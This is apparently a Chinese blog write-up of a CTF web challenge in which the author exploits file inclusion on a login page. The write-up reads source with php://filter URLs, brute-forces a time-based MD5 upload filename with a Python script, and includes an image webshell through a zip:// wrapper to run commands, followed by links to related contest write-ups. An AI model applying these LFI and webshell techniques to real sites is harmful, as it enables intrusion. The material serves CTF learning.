http://101.71.29.5:10007/index.php?page=login  

仔细观察这个url的话会发现,存在文件包含。

而且并没有login.php而是login,猜测代码是

<?php include str."php";

随便账号密码就能登陆,来到了一个上传页面,只能上传图片,回头看看题目

这里的思路明确了,文件包含加图片马。

在这时间统一的世界里,上传图片试试吧

突然发现,并不知道图片去哪里了。

用为协议读取源代码,

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=login
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload   

注意,因为包含文件的时候自动拼接.php,所以这里只写login和upload

在upload这里我们发现代码实现的功能。

分割文件名和文件后缀,然后文件名保存为MD5(当前时间+文件名)+文件后缀,上传到upload目录下边。  

这个文件名其实是可以预测的,只不过我们得稍微的爆破一下他前后左右很短的一段时间,访问他是否存在来判断时间是否正确。

制作一个图片马,上传后立即运行脚本。

import time
import hashlib
import requests
def md5(str):
    m=hashlib.md5()
    m.update(str)
    return m.hexdigest()
t=int(time.time())
for i in range(t+8*3600-20,t+8*3600+60):#时差查了八个小时
    url="http://101.71.29.5:10007/"+"uploads/"+md5("sky"+str(i))+".jpg"
    res=requests.get(url)

    if res.status_code==200:
        print(url+'')

直接包含这个图片,发现不行,因为读upload.php源码的时候会发现拼接了.php,相当于你包含了shell.jpg.php,这是一个不存在的文件。

为了绕过拼接,我们可以用phar和zip为协议。

本来最后必须要打你完整的木马的名字:name.php,但是php是自动拼接的,所以就之打name。

这样就可以让绕过.php的自动拼接了。。。

http://101.71.29.5:10043/index.php?page=zip://uploads/图片.jpg%23shell密码,然后命令执行就可以了

安恒月赛 image up的更多相关文章

  1. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  2. RSA共模攻击

    在安恒月赛中碰到一道密码学方向的ctf题 附上源码 from flag import flag from Crypto.Util.number import * p=getPrime(1024) q= ...

  3. 安恒X计划12月月赛

    ezweb 主要是序列化问题.没有PHP环境,在线运行的.实例化对象之后修改一下file.然后echo输出序列化的结果.不过下面有一个正则检查.数字前加一个+,影响了正则的匹配,但是对于序列化的还原没 ...

  4. 安恒7月赛wp

    1.[order]   这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门.   首先,解题的语句是: sqlmap -u "htt ...

  5. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  6. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

  7. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

  8. 安恒杯月赛 babypass getshell不用英文字母和数字

    BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...

  9. 2020 安恒2月月赛 misc

    题目链接:https://pan.baidu.com/s/19l54Nukt6evOr4UgbHMXIQ 提取码:1qbs 0x01 lemonEssence 咦?在kali打开是出错,改宽后图片变了 ...

随机推荐

  1. Python Visual Studio 2015

    对于一直是C#开发的我来说,上Python是老早就想的事情了. 上次有个项目开始做就说要用Python,后来因为不太熟练就给推掉了.现在终于还是有机会开始下Python之旅. 因为是在Visual S ...

  2. 如何在SAP Cloud for Customer自定义BO中创建访问控制

    文章作者: Yi 已获得Yi的转载许可. 访问控制方式和使用注意事项 1. C4C中的访问控制有两种方式 RelevantForAccessControl AccessControlContext 2 ...

  3. 关于mongodb的日志

    mongodb的日志与profile相似,在启动mongod时 可以用verbose这个参数配置他的日志详细程度,分为一个v到5个v,其中v越多,详细度越高   mogod.conf port = d ...

  4. MAC 设置登录欢迎语

    MacdeMacBook-Pro:etc mac$ cd /etc MacdeMacBook-Pro:etc mac$ cat motd 技术沉淀,空杯心态! _______ _______ _ __ ...

  5. python操作文件目录

    # 查看当前目录的绝对路径: >>> os.path.abspath('.') /Users/NaCl/Documents/GitHub #同样的道理,要拆分路径时,也不要直接去拆字 ...

  6. WordPress免费清新响应式博客/杂志/图片三合一主题Nana

    WordPress免费清新响应式博客/杂志/图片三合一主题Nana 一.主题安装须知 1.本主题必须安装文章点击统计插件:WP-PostViews,可以直接在后台插件→安装插件中直接搜索安装官方最新版 ...

  7. 项目:Vue+node+后台管理项目小结

    序:本文主要分两块说:项目机制,具体用到的知识块. 1. 项目机制 项目的原型以vue-cli为原型,进行项目的初步构建.项目以node.js服务和webpack打包机制为依托,将.vue文件打包为浏 ...

  8. js常见问题总结归纳

    一.使用 typeof bar === "object" 来确定 bar 是否是对象的潜在陷阱是什么?如何避免这个陷阱? 首先typeof bar === "object ...

  9. vue 服务代理 调用第三方api

    项目中前期需要调用第三方API来获取汇率.因为直接调用会有跨域的问题,所以使用来服务代理. 在config配置代理可以这样写: 而调用接口就可以这样写: 坑:配置完成后一直报500,开始怀疑人生.最后 ...

  10. css中让元素隐藏的多种方法

    { display: none; /* 不占据空间,无法点击 / } { visibility: hidden; / 占据空间,无法点击 / } { position: absolute; top: ...